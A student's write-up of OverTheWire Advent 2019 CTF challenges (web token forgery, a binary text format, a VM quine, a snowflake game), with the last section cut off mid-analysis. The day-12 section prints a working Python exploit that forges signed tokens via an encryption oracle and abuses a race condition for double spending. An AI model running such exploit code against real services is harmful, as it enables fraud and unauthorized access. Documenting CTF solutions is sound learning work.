]> git.somenet.org - pub/jan/ctf-seminar.git/blob - writeups/superwayne/overthewire2019.md
add writeup for asis19/close-primes
[pub/jan/ctf-seminar.git] / writeups / superwayne / overthewire2019.md
1 # OverTheWire Advent Bonanza 2019
2
3 ## Retrospective
4
5 All in all, the CTF was very pleasant for me because the challenges were interesting to solve, there was quite some time available as well (I spent about two weeks on and off on it) and I also managed to solve a few challenges as well.
6
7 I spent about three days (24 hours) on the report.
8
9 ## day-12 naughty list
10
11 ### Meta
12
13 * **Spent time:** 30 hours
14 * **Solved:** by w0y
15 * **Difficulty:** medium (+ guessing)
16
17 ### Description
18
19 > Santa has been abusing his power and is union busting us elves. Any elves caught participating in union related activities have been put on a naughty list, if you can get me off the list I will give you a flag. 
20
21 The challenge features a simple web interface with three pages reachable from the homepage: Home, contact and login. Further, you can also register an account. The contact page is a dead end, however, and not relevant to the challenge. The main functionality is exposed after registering and logging in: Registered users can *transfer* credits to another user. After registration, a user has initially 1 credit, see the image below:
22
23 ![Naught List](otw2019/naughtylist.png)
24
25 It is possible to transfer the credit to the given destination code. The destination code changes after a refresh. In the credit field, it says *1 / 5000*, i. e. 1 credit out of 5000.
26
27 **Goal:** The goal is to have an account with 5000 credits to get the flag.
28
29 ### Solution
30
31 #### Unsuccessful attempts
32
33 In the beginning, it was not totally clear that we had to forge a destination code. Therefore we also tried to mess around with the page parameter to try out if file inclusion would be possible. We found out that requesting http://3.93.128.89:1212/a/ still shows the original site (but breaks the styling) and also used the oracle (described blow) to request `000000000000` and `\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00`. The idea was to be somehow decrypt the destination code by XORing it with the result of the encrypted 0 bytes, or something similar. In the end, however, these attempts were not fruitful.
34
35 #### Forging destination codes
36
37 To achieve the goal of 5000 credits we have to find out how to transfer credits to a user that we control. This turned out to be quite hard and involved some guesswork which made the challenge a bit annoying in my opinion.
38
39 The destination code is *base64url*-encoded. Decoding a destination code, e. g. `6GeVE89hSydXhCljZHIyTjEwQ3BlbnQra0xxOY9ceqtQiNEDWPds8K`, reveals that there is another base64 string inside:
40
41 ```
42 $ echo 6GeVE89hSydXhCljZHIyTjEwQ3BlbnQra0xxOY9ceqtQiNEDWPds8K-fTD8 | sed -e 's/-/+/g' -e 's#_#/#g' -e 's/$/=/g' | base64 -d | hd
43 00000000  e8 67 95 13 cf 61 4b 27  57 84 29 63 64 72 32 4e  |.g...aK'W.)cdr2N|
44 00000010  31 30 43 70 65 6e 74 2b  6b 4c 71 39 8f 5c 7a ab  |10Cpent+kLq9.\z.|
45 00000020  50 88 d1 03 58 f7 6c f0  af 9f 4c 3f              |P...X.l...L?|
46 0000002c
47 ```
48
49 If we send a credit to the destination code, the response is: "Successfully transferred 1 credits to santa." It is therefore likely that the destination code contains the username in an encrypted (and signed?) way.
50
51 Clicking around on the page quickly reveals that the URLs for accessing Contact, Account, Login contain a string that is similar to the destination code. The URL for account is, for example: http://3.93.128.89:1212/?page=HTv6mUVltvgRV3DHN2dSSVhaMlhwQT09-qpBqw01iH2-qnyuzEU7Ow Interestingly enough, the URL changes on every refresh but old URLs can still be accessed. Decoding the different strings shows that the base64 encoded payload inside of them correlates correlates with the lengths of "contact", "account", "login". 
52
53 This leads to the following theory: The decoded string contains IV (12 bytes), a base64 encoded ciphertext (where the plaintext is `contact`, `account` or `login` for the pages and something else for a destination code) and a signature (16 bytes).
54
55 To transfer credits we now have to find out two things:
56
57 1. How do we encrypt and sign data that we control?
58 2. What data do we need to encrypt and sign?
59
60 Solving 1 was easy: If we access http://3.93.128.89:1212/?page=1 we are redirected to http://3.93.128.89:1212/?page=404&from_page=VFBTJgMHkLfWVJ3WVkE9PZAHUM8279yZcF5Xy8Nb71A. The `from_page` parameter contains our given `1` in an encrypted and signed form, i. e. we have discovered a way to encrypt and sign arbitrary data!
61
62 Solving 2 was hard: The length of the ciphertext for the user "santa" is longer (12 bytes vs. 5 bytes) than the username "santa". Also, encrypting "a" and using the result as a destination code to transfer credits to the user "a" does not work. I tried `target=santa` and other variations, but was out of luck. At this point I already gave up and focused on other challenges.
63
64 About a week later, @lavish appeared and was trying to solve the challenge as well. We speculated about different approaches how to solve the challenge. One idea was to use an SQL injection because of the "NO UNION" "hint" on the homepage. After some time, however, he found out how to forge the destination code and send credits to arbitrary users. He used the oracle to encrypt `lavish:ciaociao` and used the result as a destination code. The error message `That user does not exist in our system.` was different than `Invalid destination code.` which hinted that a part of the plaintext was indeed interpreted as a username. It quickly became clear that the plaintext is split on ":" and the second part is used as a destination username.
65
66 With this knowledge, it is easy to send a credit to an arbitrary user: Use the oracle to encrypt and sign `target:<username>` and use the result as a destination code to transfer the credit to an account that we control.
67
68 There is just one problem left: We would need to do this 5000 times, but the website only allows to create 15 accounts per hour per IP address: `Sorry little elf, only 15 accounts per hour`. An easy solution would be to circumvent the check by using proxies but we can use a second vulnerability.
69
70 #### Transferring more than one credit
71
72 We quickly discovered that sending a credit always takes about 1 s which is far too long for a simple update/insert transaction in the database. We found out that sending a credit is vulnerable to a race condition, i. e. a double spending attack is possible by sending the request multiple times in parallel. This allows to transfer more credits than the user actually has but also that only one credit is deducted even if more than one is sent (i.e. credits are created). 
73
74 #### Final exploit
75
76 The final exploit was crafted by @lavish and is here for reference:
77
78 ```python
79 import re
80 import random
81 import string
82 import requests
83
84 import multiprocessing as mp
85
86
87 URL = 'http://3.93.128.89:1212/'
88 ALPHABET = string.ascii_lowercase + string.digits
89
90
91 def rand_str(length=12):
92     return ''.join(random.choice(ALPHABET) for _ in range(length))
93
94
95 def get_token(user):
96     r = requests.get(f'{URL}?page=target:{user}')
97     token = re.findall('from_page=(.*)', r.url)[0]
98
99     return token
100
101
102 def register(user, password):
103     s = requests.Session()
104     
105     r = s.get(URL)
106     page_login = re.findall('page=([a-zA-Z0-9_-]+?)">Login</a>', r.text)[0]
107
108     r = s.get(f'{URL}?page={page_login}')
109     page_register = re.findall('page=([a-zA-Z0-9_-]+?)">register</a>', r.text)[0]
110
111     r = s.post(f'{URL}?page={page_register}', data={
112         'username': user,
113         'password': password,
114         'confirm': password
115     })
116
117     return 'ou registered successfully' in r.text
118
119
120 def login(user, password):
121     s = requests.Session()
122     
123     r = s.get(URL)
124     page_login = re.findall('page=([a-zA-Z0-9_-]+?)">Login</a>', r.text)[0]
125
126     r = s.post(f'{URL}?page={page_login}', allow_redirects=True, data={
127         'username': user,
128         'password': password,
129     })
130     
131     page_submit = re.findall('action="/\?page=([a-zA-Z0-9_-]+?)">', r.text)[0]
132
133     return s, page_submit
134
135
136 def send(args):
137     s, page_submit, token = args
138
139     r = s.post(f'{URL}?page={page_submit}', data={
140             'credits': 500,
141             'destination': token
142     })
143
144     return 'Successfully transferred' in r.text
145
146
147 def login_and_send(user, password, token):
148     s, page_submit = login(user, password)
149     pool = mp.Pool(processes=50)
150     pool.map(send, [(s, page_submit, token) for _ in range(50)])
151
152
153 def fuckusanta():
154     # reg users
155     # users = []
156     # for _ in range(12):
157     #     user, password = rand_str(), rand_str()
158     #     if register(user, password):
159     #         token = get_token(user)
160     #         session, page_submit = login(user, password)
161     #         print(f'[*] User created: {user}, {password}, {token}')
162     #         users.append({
163     #             'user': user,
164     #             'password': password,
165     #             'token': token,
166     #             'session': session,
167     #             'page_submit': page_submit
168     #         })
169     #     else:
170     #         print(f'[!] Unable to create user {user}')
171
172     # main_token = users[0]['token']
173     # for user in users:
174     #     pool = mp.Pool(processes=100)
175     #     pool.map(send, [(user['session'], user['page_submit'], main_token) for _ in range(100)])
176
177     h_users = [
178         ('3oe7hyjnnvvk', 'cpkxykzrlpl2', 'R_OLjv1ZFXHvHJZtdEg1djB1Y2tKM3FzQUMybllFeVZaYkgyU3c9PZV3TUq1Udb-IWr_bC_DOFk'),
179         ('vjabtcku7mbl', 'l0fen6ufvlzw', '50kyihj0QWhbswaHTExlNVltUjZtSHFKTzhZYXdiOEZlSXFGRVE9PY_JKb4UGcM-zmoWMTi7xYU'),
180         ('7f2yro27d4xz', 'ko35w4ieiy3k', 'mw3672GIiASgwQRtSjA0VnVjdzc3WHkxOUpkeG5GT3UyNmtIQnc9PXG7xAbpQpNVVPWZzwv8h4c'),
181         ('z9mdjfitzxus', 'w7ruiprwgzyq', 'kG5I8tB0mtwJESMkQnVqNElKWGEvSlpsR3B4dEsyRXhBSDA0NXc9PSqV93MpDrkGVqPXWErAM-U'),
182         ('yfs8a88y1evf', 'u5bkpcoqbvp5', 'sx3gfohSs_PE76ldbHJnSlQ5ak9rMDFRaTA4YXVWU2x6QUpsN1E9PaIX54M-BA00_mwv5mWaKtw'),
183         ('8butphdud1gz', '325t6pqfcpvv', 'CNykSE2AZl7_xg_reHZUZmtLRDEybGhCQ1U4ZS84OEdGc2t2NEE9PQHJuWd1Df6EBjXgCkRrPVw'),
184         ('tlo866zq6ck6', 'otrhcwlzqotm', '6G--sFvqFKK3n942UTk5YzZkd0YzMTV5ZmpyOG5LbkF1R2tma3c9PbgEsP9B3guFIz4wi0YzkhM'),
185         ('3t9qa1t8wece', 'jalyggfus1zr', 'U0YMHL6LwoKTSsfLQmlyRk1lMWZqL2ZMMG51MnRteTFjcVRZSnc9PbMOFMwtpITcW0RhQMNfYiM'),
186         ('qm5ucffjdz1y', 'y8kmeetu36rj', 'hs5fQFFwg_BMyyWtL2dNZWtWeW9hdFk5N0FWZVg5QVVTamJrVWc9PY1blxGAo-tDxBdinhNrOuY'),
187         ('yuq10qdrt9u6', 'c63fdgw9gqds', 'yZJ5vAsKhUu5F3bJM1I4ZkJKZ2E3aDVnQzdmMjhuZi9TVWttOVE9PebmE1yJhtotk3uJc3Or27g'),
188         ('0emnmz2pc4li', 'rkobi4lpuqnu', 'Wm-4ytIhJz3fnELBVDF4VmExUEY1K2QyOVdBU2lMQ2tQOFoyeGc9PVZS_BI68wVQtbTObrNw3h0'),
189         ('aeda8cr3f3k8', 'nf3k260ioetc', 'lEhq6yvqVZmQaMagOHY4SDE1Q1lpWSsyUkI1b1ZzSUMvelFWTkE9Pa_cat7BX9yUF1a2WASeGqg')
190     ]
191     main_token = h_users[0][2]
192     src_user = h_users[1]
193     login_and_send(src_user[0], src_user[1], main_token)
194
195
196 if __name__ == '__main__':
197     fuckusanta()
198 ```
199
200 This allowed us to collect the flag: `AOTW{S4n7A_c4nT_hAv3_3lF-cOnTroL_wi7H0uT_eLf-d1sCipl1N3}`
201
202 ## day-14 tiny runes
203
204 ### Meta
205
206 * **Spent time:** 2 hours
207 * **Solved:** by myself
208 * **Difficulty:** easy
209
210 ### Description
211
212 > One of Santa's Little Helpers received an unusual Christmas wish, a copy of the yet to be released Deus Hex game. All they managed to find were fragments from the dialogue system. Can you decode the last one? 
213
214 Given where the following files in an archive:
215
216 ```
217 .
218 ├── lines1.bin
219 ├── lines1.png
220 ├── lines1.txt
221 ├── lines2.bin
222 ├── lines2.png
223 ├── lines2.txt
224 ├── lines3.bin
225 ├── lines3.png
226 ├── lines3.txt
227 └── lines4.bin
228 ```
229
230 **Goal:** The goal is to decode `lines4.bin` into `lines3.txt`.
231
232 ### Analysis
233
234 The `*.bin` files all start with the following byte sequence:
235
236 ```
237 00000000  54 69 4e 79 4d 65 54 61  00 00 00 10 00 00 00 02  |TiNyMeTa........|
238 ```
239
240 This indicates some kind of magic (`TiNyMeTa`) but also a header with positions/length. The bin files contain an embedded PNG file starting from byte 89:
241
242 ```
243 00000020  00 00 03 01 89 50 4e 47  0d 0a 1a 0a 00 00 00 0d  |.....PNG........|
244 ```
245
246 This embedded image is the same in all files:
247
248 ![runes](otw2019/runes.png)
249
250 Looking at the images (`lines1.png`, etc.), we can see that the image is used for rendering the text. What text to render is also part of the `.bin` file:
251
252 ```
253 00000000  4c 69 4e 65 00 00 00 3c  05 01 03 0a 04 08 06 09  |LiNe...<........|
254 00000010  03 07 00 05 00 0a 01 0b  00 05 02 07 04 08 06 07  |................|
255 00000020  00 04 03 0b 07 0a 05 0b  05 09 05 09 05 09 04 08  |................|
256 00000030  02 05 05 09 05 09 05 09  04 08 02 05 05 09 05 09  |................|
257 00000040  05 09 06 07 4c 69 4e 65  00 00 00 54 05 01 03 0a  |....LiNe...T....|
258 00000050  04 08 06 09 03 07 00 05  00 0a 01 0b 00 05 02 07  |................|
259 00000060  04 08 06 07 02 05 04 08  00 0a 00 09 01 0b 07 0a  |................|
260 00000070  01 07 00 09 00 0a 04 08  05 07 01 0b 07 0a 04 08  |................|
261 00000080  00 06 03 07 07 03 03 07  04 08 03 0b 04 08 01 06  |................|
262 00000090  04 03 00 04 04 08 01 07  07 0a 00 05 05 09 06 07  |................|
263 ```
264
265 Every line segment starts with `4c 69 4e 65 (LiNe)`, followed by the length of the line as a 4 byte value. Every plain text byte takes 2 bytes in the encoded line. The first byte maps to the column, the second one to the line in the embedded image (indices starting from 0).
266
267 This can be easily automated in Python.
268
269 #### Final exploit
270
271 ```python
272 MAP = """Q?0\H$Y,
273 R-L^KJ?k
274 s#_/m=f9
275 7d-NE4qr
276 Pi?V'&XA
277 n3I?O*;Z
278 wGpB8cSj
279 Fg:eby"v
280 %+?1 !M@
281 h{2xW.D}
282 tU|CTz6u
283 Io>a5l<'
284 """.split("\n")
285
286 with open("lines4.bin", "rb") as f:
287     lines = f.read().split(b"LiNe")[1:]
288
289 for line in lines:
290     line = line[4:]  # skip the length
291     for column, row in zip(line[::2], line[1::2]):
292         print(MAP[row][column], end="")
293     print()
294 ```
295
296 Executing the script prints the flag:
297
298 ```
299 Jock: "Oh my God! JC! A flag!"
300 JC Denton: "A flag! AOTW{wh4t_4_r0tt3n_fi13_f0rm4t}"
301 ```
302
303 ## day-15 self replicating toy
304
305 ### Meta
306
307 * **Spent time:** 30 hours
308 * **Solved:** by myself
309 * **Difficulty:** medium, but time-consuming
310
311 ### Description
312
313 > Can you design your own self-replicating toy? 
314
315 Along with an IP address/port there is also the file chal.c given: https://advent2019.s3.amazonaws.com/dc3f15513e6d0ca076135b4a05fa954d62938670ddd7db88168d68c00e488b87-chal.c
316
317 The file chal.c contains the implementation of a custom stack-based virtual machine. The machine operates on three  main stacks: data, code and output. There are also 32 "scratch stacks" which are called "functions". The VM operates on instructions given on the code stack. Every instruction has one byte.
318
319 The goal of the challenge is to construct a quine for the virtual machine. A quine is a program fragment that outputs itself. In case of the VM, this means that the output stack contains the same bytes at the end of the execution as the code stack in the beginning of the execution.
320
321 ### Analysis
322
323 The main method of the challenge contains the following code:
324
325 ```C
326   puts("Enter your Assemblium sequence:");
327   unsigned char *user_code = malloc(length);
328   for (int i = 0; i < length; i++) {
329     read(0, user_code + i, 1);
330   }
331   vm_state vm = new_vm_state();
332   for (int i = length - 1; i >= 0; i--) {
333     push_stack(vm.code, user_code[i]);
334   }
335   while (vm.code->size > 0) {
336     execute_one_inst(&vm);
337   }
338   if (length != vm.output->size) {
339     goto fail;
340   }
341   for (int i = 0; i < length; i++) {
342     if (vm.output->data[i] != user_code[i]) {
343       goto fail;
344     }
345   }
346   print_flag();
347 ```
348
349 The *Assemblium* sequence (i. e. instructions for the custom instruction set) are read from stdin and pushed to the VM's code stack. Then the instructions are executed one by one using the `execute_one_inst(&vm)` function. If the output of the VM, i. e. the output stack, contains the same bytes as the given user code, the flag is printed. This is called a *quine* (see also https://en.wikipedia.org/wiki/Quine_(computing)):
350
351 > A quine is a computer program which takes no input and produces a copy of its own source code as its only output. The standard terms for these programs in the computability theory and computer science literature are "self-replicating programs", "self-reproducing programs", and "self-copying programs". 
352
353 Quines are usually built around the following principle (see also https://cs.lmu.edu/~ray/notes/quineprograms/):
354
355 > The classic way to produce a self-printing program has two steps:
356
357 > 1. Initialize a string variable, with a placeholder for interpolation.
358
359 > 2. Print the string, interpolating the string into itself. 
360
361 Therefore we have to analyze the instruction set to find out how we can apply these principles.
362
363 To get an inspiration, let us look at quines in other assembly languages (see also https://codegolf.stackexchange.com/a/5742). The following quine, for example, is written in gas for x86 Linux:
364
365 ```
366 .globl main
367 main:movw $34,B+86
368 push $B+1
369 call puts
370 call puts
371 pop B
372 ret
373 .data
374 B:.ascii"
375 .globl main
376 main:movw $34,B+86
377 push $B+1
378 call puts
379 call puts
380 pop B
381 ret
382 .data
383 B:.ascii"
384 ```
385
386 We can see that the previously mentioned principles are applied: There is a string (`B`) that contains the program code that prints the string. To interpolate the string into itself, `puts()` is simply called twice. The idea of this quine to have a string and print the string twice can be applied to our own instruction set.
387
388 #### Basic idea
389
390 To abstract the idea of the GAS x86 quine: we have to build a string that contains two print instructions, and then print that string two times.
391
392 Let's first imagine an instruction set in which the *first two bytes* of the given instructions are *always* interpreted as a literal (i. e. as a string) and the two following instructions are interpreted according to the semantics of the instruction set (i. e. as code). This is a simplification of the given instruction set but we can iterate from there once we understand how to make a quine in this simplified environment. If the print instruction in that instruction set is `0xb0`, the quine would be simply `0xb0 0xb0 0xb0 0xb0`. The first two bytes are the literal which would be put on the data stack. The next two bytes are interpreted as *print what is on the stack* (but without destroying it). The result is that `0xb0 0xb0 0xb0 0xb0` is printed (i. e. written to the output stack).
393
394 So far so good but our instruction set is far more flexible so we have to be more creative. 
395
396 First, not the first n bytes are interpreted as a literal but only bytes that are less than 0x80, i. e. where the MSB is not set. This means that the instruction set is split into two halves: The first half (everything below 0x80) is interpreted as a literal byte and copied to the data stack, the second half (everything >= 0x80) is interpreted as code and the semantics depend on the byte as described above. This means that our literal cannot include the print instruction as-is because then it would not be a literal anymore. How can we solve this? We encode bytes which are >= 0x80 so that they are interpreted as data. So instead of using syntax to mark the bytes as data, we encode the bytes. This makes things slightly more complicated. The x86 quine has to deal with quotes being special as well but that's rather easy: `movw $34,B+86` inserts a quote at the end of the string. The string is then printed as-is using the `puts()` function.
397
398 We do something similar: We first print the data bytes as-is, then we print the instructions that printed the data bytes.
399
400 In an abstract way the quine looks as follows:
401
402 ```
403 <encoded instructions E(I)> || <instructions I: print the data stack, decode and print the data stack>
404 ```
405
406 When the program is executed, the following happens:
407
408 1. The data in the beginning of the program (i. e. the encoded instructions) are copied to the data stack.
409 2. The instructions after the data are executed. These instructions do the following:
410    1. The content of the data stack is printed.
411    2. The content of the data stack is decoded and printed.
412
413 This way, we have created a self-replication program: The encoded instructions are printed first, then the encoded instructions are decoded and printed which prints the actually executed instructions. Our program replicated itself.
414
415 Note how this is similar to the GAS x86 quine, except that the encoded instructions are at the beginning and not at the end and that we have to encode the instructions instead of simply using syntax (quotes in the case of GAS) to give the instructions as literal and not as code.
416
417 ### Solution
418
419 To implement the concepts we have to solve the following problems:
420
421 1. Define a *variable-length* encoding scheme that takes bytes between 0x00 and 0xff and produces bytes between 0x00 and 0x7f. This encoding scheme has to be reversible with the given instruction set (it is not clear if the instruction set is Turing complete so we might be limited).
422 2. Define instructions that print the content of the data stack, decode the data stack using the scheme from (1) and print the decoded result.
423
424 #### Instruction set
425
426 First, we have to analyze the instruction set more deeply. Every instruction takes one byte. The instruction byte is interpreted as follows:
427
428 * < 0x80: pushed as-is to data
429 * 0x80: pop from data, XOR 0x80, push to data
430 * 0x81: pop from data, if 0 push 0xff, else push 0
431 * 0x82: pop a from data, pop b from data, push a & b to data
432 * 0x83: pop a from data, pop b from data, push a | b to data
433 * 0x84: pop a from data, pop b from data, push a ^ b to data
434 * 0x90: pop a from data, pop b from data, push a to to data, push b to data (= swap a and b)
435 * 0x91: pop from data, push twice to data
436 * 0xa0: pop function index from data, pop from data unless value is 0xa1, push to function index's data
437 * 0xb0: pop from data, push to output
438 * >=0xc0, <0xe0: push all function index's (index = inst - 0xc0) data to code (= call a function)
439 * >= 0xe0: pop from data, if != 0: push all function index's (index = inst - 0xe0) data to code (= call a function)
440
441 #### Implementation
442
443 ##### Encoder
444
445 Our first task is to come up with an encoding scheme. The encoding scheme will encode every byte into three bytes which are guaranteed to be below `0x80`. This encoding is not very efficient in general: The encoded data is three times bigger than the original data but it is relatively easy to implement.
446
447 The encoding works as follows:
448
449 * Every byte `b` that is below `0x80` will be encoded as `0x01 0x10 b`.
450 * Every byte `b` that is `0x80` or above will be XORed with `0xff` and encoded as `0x11 0x11 b'`, where `b'` is the XORed byte.
451
452 **Example:** The bytes `0x1f 0xf1` are encoded as `0x01 0x10 0x1f 0x11 0x11 0x0e`.
453
454 The Python code for the encoding looks as follows:
455
456 ```python
457 def encode(bytecode):
458     result = bytearray()
459
460     for b in bytecode:
461         if b == 0:
462             raise ValueError("0x00 is not supported!")
463         elif b < 0x80:
464             result.append(0x01)
465             result.append(0x10)
466             result.append(b)
467         else:
468             result.append(0x11)
469             result.append(0x11)
470             result.append(b ^ 0xff)
471
472     result.append(0x00)  # end of encoded sequence
473
474     return bytes(result)
475 ```
476
477 Note that `0x00` cannot be encoded because it marks the end of the encoded sequence. We need to have such an end mark because of the variable length property. However, this is a viable limitation because it is possible to avoid having to encode null bytes.
478
479 This encoding scheme can be quite easily decoded with the following instructions:
480
481 * `0x84`: pop a from data, pop b from data, push `a ^ b` to data
482 * `0x81`: pop from data, if `0` push `0xff`, else push `0`
483
484 Thus, the instructions `0x84 0x81 0x84` reverse the encoding.
485
486 **Example:**
487
488 The bytes `0x01 0x10 0x1f 0x11 0x11 0x0e` are given on the data stack.
489
490 * `0x84` pops `0x01` and `0x10` from the stack and pushes `0x01 ^ 0x10 = 0x11` to the stack. `0x81` pops `0x11` from the stack, since it is not `0` it pushes `0` to the stack. `0x84` pops `0` and `0x1f` from the stack and pushes `0x1f ^ 0x00 = 0x1f` to the stack. `0x1f` is now on the stack which was the first byte in the original sequence.
491 * `0x84` pops `0x11` and `0x11` from the stack and pushes `0x11 ^ 0x11 = 0x00` to the stack. `0x81` pops `0x00` from the stack, since it is `0` it pushes `0xff` to the stack. `0x84` pops `0xff` and `0x0e` from the stack and pushes `0x0e ^ 0xff = 0xf1` to the stack. `0xf1` is now on the stack which was the second byte in the original sequence.
492
493 ##### Jumps / loops
494
495 To run the decode instructions `0x84 0x81 0x84` in a loop, we resort to the following trick: The virtual machine supports the notion of "functions", i. e. 32 separate stacks that can hold code which can be executed more than once.  To decode all bytes until we reach `0x00` we create two functions which call each other ("ping pong"). There are special instructions which *conditionally* call a function. I. e. the function is only called if the top of the data stack is *not* `0x00`. We can use this to end the decoding by giving `0x00` on the stack at the end of the encoded sequence. (In x86 assembly, we would use `cmp` and `jnz` instead of the functions.)
496
497 ##### Decoding and printing
498
499 Now that we know how to encode instructions, it is time to define instructions that print the content of the data stack, decode the data stack using the scheme from (1) and print the decoded result.
500
501 Let's start with instructions that print everything that is on the data stack. As described in the *Jumps / loops* section, we will use functions because the language does not support jumps or loops.
502
503 First, we define the the *ping* function. This function executes the following instructions: `0x91 0xb0 0xe3`
504
505 1. `0x91`: Duplicate the value on the data stack
506 2. `0xb0`: Pop value from data stack, push to output stack (this is basically the "puts" in our virtual machine)
507 3. `0xe3`: Pop value from data stack, if value *is not* `0x00` call function 3 (the pong function)
508
509 We duplicate the value on the stack so that we can print it once (which is destructive) and still be able to check if it is not `0x00`.
510
511 Second, we define the *pong* function. This function executes the following instructions: `0x91 0xb0 0xe2`
512
513 This function does basically the same except that it calls function 2 instead of 3, i. e. the ping function.
514
515 Now that we know how the function bodies should look like, we need to know how functions are created.
516
517 Creating a function works like this: If the `0xa0` instruction is encountered, a value is popped from the data stack. This value is the *index* of the function (indices 0 to 31 are supported). Then, all values from the data stack are popped as long as `0xa1` is not encountered. Be aware that functions are created *in reverse order* due to the stack principle. I. e. the instruction that is executed at the end must go first. Further, we have to create the function code on the data stack.
518
519 In order to get instructions on the data stack we have to encode them (remember: only values < 0xb0 are copied as-is to the data stack). This is relatively simple: The `0x80` instruction pops the value from the data stack, XORs it with `0x80` and pushes the result.
520
521 The ping function looks like this when it is encoded: `0x21 0x80 0x63 0x80 0x30 0x80 0x11 0x80 0x02 0xa0`
522
523 * `0x21 ^ 0x80 = 0xa1`: marks the end of the function
524 * `0x63 ^ 0x80 = 0xe3`: call function 3
525 * `0x30 ^ 0x80 = 0xb0`: print
526 * `0x11 ^ 0x80 = 0x91`: duplicate
527 * `0x02`: index of function
528 * `0xa0`: create function
529
530 The pong function can be encoded in a similar fashion.
531
532 To call the print ping function, one instruction is enough: `0xc2` calls the function with index 2, i. e. the print ping function.
533
534 Encoding and printing works similar. The difference is that we have to include the decoding instructions before we print it.
535
536 ##### Putting everything together
537
538 Now we create the final payload:
539
540 1. We encode the instructions using the encoding defined earlier and wrap the data into a function so that we can use it twice (once for printing as-is, once for decoding and printing).
541 2. We append the instructions for decoding and printing.
542
543 The final payload is then (without the newlines):
544
545 ```
546 218001100111115f01102111114f01101101101111117
547 b11117f11114f11113e01102111117f01106311117f01
548 103011117f01101111117f01100211115f01102111117
549 f01106211117f01103011117f01101111117f01100311
550 115f11113d11113e01102111117f01106511117f01101
551 111117f01100411115f01102111117f01104411117f01
552 103011117f01100411117f01100111117f01100411117
553 f01100511115f11113b0001a021b011118480b0c12180
554 63803080118002a0218062803080118003a0c2c121806
555 580118004a021804480308004800180048005a0c4
556 ```
557
558 A commented solution that creates the payload can be found in the repository in the file `vm-chal.py`.
559
560 Sending the payload to the server gives us the flag back: `AOTW{G0od_job_writing_y0ur_v3ry_0wN_quin3!}`
561
562 ## day-17 snowflake idle
563
564 ### Meta
565
566 * **Spent time:** 20 hours
567 * **Solved:** by w0y
568 * **Difficulty:** medium (+ guessing)
569
570 ### Description
571
572 > It's not just leprechauns that hide their gold at the end of the rainbow, elves hide their candy there too.
573
574 No source code is given, just a link to a website: http://3.93.128.89:1217
575
576 The challenge is tagged as *crypto*/*web*.
577
578 The website shows a simple "game" where the user can collect snowflakes. Every x seconds, the user gets a new snowflake. Snowflakes can be traded for a higher collection speed. If the user decides to trade their snowflakes, the snowflakes are deducted from the balance but in the same x seconds the user can collect more snowflakes now. If the user collects 10^63 snowflakes, they could trade it for a flag.
579
580 The website uses JavaScript on the front-end and communicates with the server via a JSON API. The server is implemented in Flask.
581
582 ### Analysis
583
584 Of course, it is not feasible to collect that many snowflakes without cheating so we have to find a vulnerability.
585
586 #### Unsuccessful attempts
587
588 **Manipulating the session ID**
589
590 The server generates an ID upon starting the game, e. g. `/B5JdjWnoW4oUb7FMPGELnQo7WuQyVJ3Wr7N931EZtg=`. That ID is used as a session identifier. Collecting 1000 samples of fresh IDs and running `ent` on it shows that it cannot be ruled out that the ID is randomly generated:
591
592 ```
593 Entropy = 7.994904 bits per byte.
594
595 Optimum compression would reduce the size
596 of this 32000 byte file by 0 percent.
597
598 Chi square distribution for 32000 samples is 224.32, and randomly
599 would exceed this value 91.73 percent of the times.
600
601 Arithmetic mean value of data bytes is 127.7340 (127.5 = random).
602 Monte Carlo value for Pi is 3.157697356 (error 0.51 percent).
603 Serial correlation coefficient is -0.006148 (totally uncorrelated = 0.0).
604 ```
605
606 Analyzing and playing with the session ID turned out to be a dead-end.
607
608 **Melting more snow flakes than available**
609
610 It is possible to melt more snow flakes than collected, however, this was a dead-end as well. The snow flake count simply went negative, no underflow happened.
611
612 **Manipulating requests to the `client` endpoint**
613
614 Any given `action` to the `/client` endpoint is saved as-is in the database and will be happily returned by the `/history/client` endpoint. Unfortunately, this is not an XSS challenge and this did not really allowed us to do anything useful.
615
616 #### Endpoints
617
618 Since the source code of the challenge is not released, we basically have to resort to educated guessing. Since the session identifier does not seem to be vulnerable in any obvious way, we investigated the endpoints.
619
620 ##### `/control`
621
622 The `/control` endpoint is used register a new user:
623
624 ```
625 POST /control
626
627 {"action":"new","name":"username"}
628 ```
629
630 ##### `/client`
631
632 The `/client` endpoint is the "main" endpoint (HTTP method: POST) that the front-end uses to e. g. request the state, increase the collection speed or collect a snow flake:
633
634 ```
635 POST /client
636
637 {"action":"collect","amount":1}
638 ```
639
640 ##### `/history/client`
641
642 Most interesting is the `/history/client` endpoint. Sending a GET request to that endpoint returns a JSON that basically contains a log of all actions that the client requested:
643
644 ```
645 [
646     [
647         1576940433927,
648         {
649             "action": "state"
650         }
651     ],
652     [
653         1576940435274,
654         {
655             "action": "collect",
656             "amount": 1
657         }
658     ],
659     ...
660 ]
661 ```
662
663 Interestingly, any given `action` is saved as-is in the database and will be happily returned by the `/history/client` endpoint. Unfortunately, this is not an XSS challenge and this does not really allow us to do anything useful.
664
665 ##### `/history/control`
666
667 What we did not realize for a long time was that the `/history` endpoint happily retrieves the history for *other* endpoints as well. I. e. `/history/control` returns data for the `/control` endpoint.
668
669 ```
670 [
671    [
672       1578852889691,
673       {
674          "action" : "load"
675       }
676    ],
677    [
678       1578852889691,
679       {
680          "data" : "nQZ2wk0avgzGKhYR4Sy5io/o55SCBiGNElPnDJJrS1rzOrmKievng4hFdsgBAg==",
681          "action" : "save"
682       }
683    ],
684 (...)
685 ]
686 ```
687
688 This immediately piqued our interest because ...
689
690 1. The `control` endpoint takes an `action` parameter with value `save` but the web interface only exposes the action `new`.
691 2. The `control` endpoint apparently also takes a `data` parameter which could be interesting for manipulate the server side state.
692
693 Decoding the data leads to binary data which is good: We knew that we discovered the crypto part of the challenge.
694
695 ### Exploit
696
697 *Note that the following is not 100% "historically" accurate but a streamlined version of what we did and how we succeeded to make the write-up easier to follow.*
698
699 #### Getting the key
700
701 We then tried to use a really long username like `xxx...xxx` (200 times `x` repeated) to check if we can spot a pattern in the data.
702
703 This was actually quite successful (spaces added for better readability):
704
705 ```
706 80cf80HOc0tsA68UqWdA933wVY3sR0i8HocqSzhC8l+7cUD3
707
708 dvhIkPAdCuRX03IRLlvnQuEzGK12+EiQ8B0K5FfTchEuW+dC4TMYrXb4SJDwHQrkV9NyES5b50LhMxit
709 dvhIkPAdCuRX03IRLlvnQuEzGK12+EiQ8B0K5FfTchEuW+dC4TMYrXb4SJDwHQrkV9NyES5b50LhMxit
